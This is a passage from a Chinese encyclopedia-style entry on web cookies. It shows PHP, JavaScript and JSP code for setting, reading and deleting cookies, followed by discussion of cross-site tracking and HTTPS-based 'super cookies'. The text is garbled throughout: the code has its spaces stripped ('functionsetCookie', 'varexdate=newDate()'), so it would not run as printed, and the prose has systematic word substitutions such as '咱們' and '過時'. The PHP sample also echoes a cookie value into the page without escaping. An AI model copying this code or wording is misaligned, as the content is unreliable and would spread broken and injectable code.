//Printacookie
echo $_COOKIE [ "user" ];
 
//Awaytoviewallcookies
print_r( $_COOKIE );
?>
在下面的實例中,咱們使用 isset() 函數來確認是否已設置了 cookie:
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
 
<?php
if (isset( $_COOKIE [ "user" ]))
echo "Welcome" . $_COOKIE [ "user" ]. "!<br>" ;
else
echo "Welcomeguest!<br>" ;
?>
 
</body>
</html>

刪除 Cookie

當刪除 cookie 時,您應當使過時日期變動爲過去的時間點。[9]  
刪除的實例:
1
2
3
4
<?php
//settheexpirationdatetoonehourago
setcookie( "user" , "" ,time()-3600);
?>

JavaScript Cookies

編輯

  建立和存儲 cookie[10]  
在這個例子中咱們要建立一個存儲訪問者名字的 cookie。當訪問者首次訪問網站時,他們會被要求填寫姓名。名字會存儲於 cookie 中。當訪問者再次訪問網站時,他們就會收到歡迎詞。
  首先,咱們會建立一個可在 cookie 變量中存儲訪問者姓名的函數:
1
2
3
4
5
6
7
8
9
10
11
12
13
functionsetCookie(c_name,value,expiredays)
 
{
 
varexdate=newDate()
 
exdate.setDate(exdate.getDate()+expiredays)
 
document.cookie=c_name+ "=" +escape(value)+
 
((expiredays== null )? "" : ";expires=" +exdate.toGMTString())
 
}
上面這個函數中的參數存有 cookie 的名稱、值以及過時天數。
  在上面的函數中,咱們首先將天數轉換爲有效的日期,而後,咱們將 cookie 名稱、值及其過時日期存入 document.cookie 對象。
  以後,咱們要建立另外一個函數來檢查是否已設置 cookie:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
functiongetCookie(c_name)
 
{
 
if (document.cookie.length>0)
 
{
 
c_start=document.cookie.indexOf(c_name+ "=" )
 
if (c_start!=-1)
 
{
 
 
c_start=c_start+c_name.length+1
 
c_end=document.cookie.indexOf( ";" ,c_start)
 
if (c_end==-1)
c_end=document.cookie.length
 
 
returnunescape(document.cookie.substring(c_start,c_end))
 
}
 
}
 
return ""
 
}
上面的函數首先會檢查 document.cookie 對象中是否存有 cookie。假如 document.cookie 對象存有某些 cookie,那麼會繼續檢查咱們指定的 cookie 是否已儲存。若是找到了咱們要的 cookie,就返回值,不然返回空字符串。
  最後,咱們要建立一個函數,這個函數的做用是:若是 cookie 已設置,則顯示歡迎詞,不然顯示提示框來要求用戶輸入名字。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
functioncheckCookie()
 
{
 
username=getCookie( 'username' )
 
if (username!= null &&username!= "" )
 
{alert( 'Welcomeagain' +username+ '!' )}
 
else
 
{
 
username=prompt( 'Pleaseenteryourname:' , "" )
 
if (username!= null &&username!= "" )
 
{
 
setCookie( 'username' ,username,365)
 
}
 
}
 
}
這是全部的代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<html>
 
<head>
 
<scripttype= "text/javascript" >
 
functiongetCookie(c_name)
 
{
 
if (document.cookie.length>0)
 
{
 
c_start=document.cookie.indexOf(c_name+ "=" )
 
if (c_start!=-1)
 
{
 
 
c_start=c_start+c_name.length+1
 
c_end=document.cookie.indexOf( ";" ,c_start)
 
if (c_end==-1)
c_end=document.cookie.length
 
 
returnunescape(document.cookie.substring(c_start,c_end))
 
}
 
}
 
return ""
 
}
 
 
functionsetCookie(c_name,value,expiredays)
 
{
 
varexdate=newDate()
 
exdate.setDate(exdate.getDate()+expiredays)
 
document.cookie=c_name+ "=" +escape(value)+
 
((expiredays== null )? "" : ";expires=" +exdate.toGMTString())
 
}
 
 
functioncheckCookie()
 
{
 
username=getCookie( 'username' )
 
if (username!= null &&username!= "" )
 
{alert( 'Welcomeagain' +username+ '!' )}
 
else
 
{
 
username=prompt( 'Pleaseenteryourname:' , "" )
 
if (username!= null &&username!= "" )
 
{
 
setCookie( 'username' ,username,365)
 
}
 
}
 
}
 
</script>
 
</head>
 
 
<bodyonLoad= "checkCookie()" >
 
</body>
 
</html>

JspCookie

編輯
jsp中使用cookie完成狀態管理:
cookie也算http消息報頭的一部分,它的做用有如下方面:
一 記錄訪客的某些信息。例如能夠利用cookie記錄用戶光臨的網頁次數,或者訪客曾經輸入過的信息。某些網站能夠自動記錄用戶上次登陸的用戶名,用的就是cookie。
二 頁面之間傳遞變量。瀏覽器並不會保存當前頁面上任何變量的信息,當頁面被關閉時,頁面上的全部變量信息將隨之消失。
使用舉例
在jsp中建立簡單的cookie:
String cookiename="visitTimes";
Cookie cookie=new Cookie(cookiename,"1");
  1. setMaxAge(10*60);//設置cookie存活期
  2. addCookie(cookie);//將cookie寫入客戶端
在jsp中處理cookie數據的經常使用方法:
getDomain();返回cookie的域名.
getMaxAge();返回cookie的存活時間
getName();返回cookie的名字
getPath();返回cookie適用的路徑
getSecure();若是瀏覽器經過安全協議發送Cookie將返回true值,若是瀏覽器使用標準協議剛返回false值
getValue();返回cookie的值
getVersion();返回cookie所聽從的協議版本setComment(String purpose);設置cookie的註釋
setPath(String url);設置Cookie的適用路徑
setSecure(Boolean flag);設置瀏覽器是否僅僅使用安全協議來發送cookie,例如使用Https或ssl
setValue(String newvalue);cookie建立後設置一個新的值
setVersion(int v);設置cookie所聽從的協議版本。

替代品

編輯
鑑於cookie的侷限和反對者的聲音,有以下一些替代方法:
Brownie方案,是一項開放源代碼工程,由SourceForge發起。Brownie曾被用以共享在不一樣域中的接入,而cookies則被構想成單一域中的接入。這項方案已經中止開發。
P3P,用以讓用戶得到更多控制我的隱私權利的協議。在瀏覽網站時,它相似於cookie。
在與服務器傳輸數據時,經過在地址後面添加惟一查詢串,讓服務器識別是否合法用戶,也能夠避免使用cookie。

隱私泄漏

編輯

跨站Cookie

實際上,Cookie中保存的用戶名、密碼等我的敏感信息一般通過加密,很難將其反向破解。但這並不意味着絕對安全,黑客可經過木馬病毒盜取用戶瀏覽器Cookie,直接經過偷取的Cookie騙取網站信任。能夠看出,木馬病毒入侵用戶電腦是致使用戶我的信息泄露的一大元兇。
自1993年Cookie誕生以來,其就擁有專屬性原則,即A網站存放在Cookie中的用戶信息,B網站是沒有權限直接獲取的。可是,一些第三方廣告聯盟的代碼使用範圍很廣。這就形成用戶在A網站搜索了一個關鍵字,用戶繼續訪問B網站,因爲B網站也使用了同一家的第三方廣告代碼,這個代碼能夠從Cookie中獲取用戶在A網站的搜索行爲,進而展現更精準的推廣廣告。好比搜索「糖尿病」等關鍵詞,再訪問其聯盟網站,頁面會馬上出現糖尿病治療廣告。若是並未事先告之,經用戶贊成,此作法有對隱私構成侵犯的嫌疑。這個還處在灰色地帶。
所以,跨站Cookie偏偏就是用戶隱私泄露的罪魁禍首,因此限制網站使用跨站Cookie,給用戶提供禁止跟蹤(DNT)功能選項已成爲當務之急。據瞭解,IE、Chrome、360、搜狗等瀏覽器都可以快速清除用戶瀏覽器網頁的Cookie信息。但從總體的隱私安全保護環境來看,安全軟件仍然存在着巨大的防禦缺口。因此安全軟件也能夠而且有必要提供按期清理網站Cookie,並監測跨站Cookie使用的功能,保護用戶隱私安全。[11]  

超級Cookies

英國倫敦的一名軟件開發者已發現了一串代碼,能在瀏覽器的隱私模式中執行普通會話,這將致使隱私模式的失效。
目前,全部主流瀏覽器都提供了隱私保護模式。在這種模式下,網站的Cookies沒法追蹤用戶身份。例如,谷歌Chrome瀏覽器提供了名爲「Incognito」的功能,而火狐瀏覽器則提供了「隱私窗口」功能。
不過,新發現的這一漏洞將致使瀏覽器隱私模式的失效。例如,當用戶使用普通瀏覽器,在亞馬遜網站上購物或瀏覽Facebook時,用戶可能會啓動一個隱私窗口,去瀏覽存在爭議內容的博客。若是這一博客使用了與亞馬遜一樣的廣告網絡,或是集成了Facebook的「點贊」按鈕,那麼廣告主和Facebook能夠知道,用戶在訪問亞馬遜和Facebook的同時也訪問了這一爭議博客。
對於這一漏洞,用戶有一個臨時解決辦法,可是比較麻煩:用戶能夠在啓動隱私模式以前刪除全部Cookies文件,或者使用一個專門的瀏覽器,徹底在隱私模式下進行瀏覽。諷刺的是,這一漏洞是因爲一項旨在增強隱私保護的功能所引發的。
若是用戶在瀏覽器地址欄使用前綴https://,爲某些網站的通訊加密,那麼一些瀏覽器會對此進行記憶。瀏覽器會保存一個「超級Cookie」,從而確保當用戶下次鏈接該網站時,瀏覽器會自動進入https通道。即便用戶啓用了隱私模式,這一記憶仍會存在。
與此同時,這樣的超級Cookie也容許第三方網絡程序,例如廣告和社交媒體按鈕,對用戶進行記憶。
發現這一漏洞的獨立研究員薩姆·格林哈爾(Sam Greenhelgh)在博客中表示,這種功能尚未被任何公司所使用。不過在這種方式被公開以後,沒有任何辦法去阻止各家公司這樣作。
在線隱私軟件公司Abine聯合創始人尤金·庫茲涅佐夫(Eugene Kuznetsov)認爲,這種「超級Cookie」將成爲下一代追蹤工具。這種工具脫胎於Cookies,但變得更加複雜。目前,用戶在瀏覽過程當中老是會存在設備惟一識別碼,以及具備惟一性的瀏覽器指紋,這些痕跡很難被擦除。
因爲「超級Cookie」的存在,互聯網匿名性變得更加困難。庫茲涅佐夫表示:「咱們已經看到了關於隱私保護的軍備競賽。追蹤互聯網用戶的願望就像是寄生蟲。你瀏覽器中的任何內容都在被網站和廣告主審視,從而實現更多的追蹤。」Mozilla已經在最新版火狐瀏覽器中對此進行了修復,而谷歌則傾向於使Chrome維持原狀。谷歌已經知道了「超級Cookie」帶來的問題,但仍選擇繼續啓用Chrome的https記憶功能。在安全性和隱私保護之間,谷歌選擇了前者。
微軟IE瀏覽器並不存在這樣的問題,由於這款瀏覽器並未內建https記憶功能。格林哈爾還表示,在iOS設備上,「超級Cookie」帶來的問題一樣存在。[12]  
詞條圖冊更多圖冊
詞條圖片
詞條圖片 (6)
IE瀏覽器刪除co...
IE瀏覽器刪除co... (4)
flash cookie刪...
flash cookie刪... (4)
參考資料
相關文章
相關標籤/搜索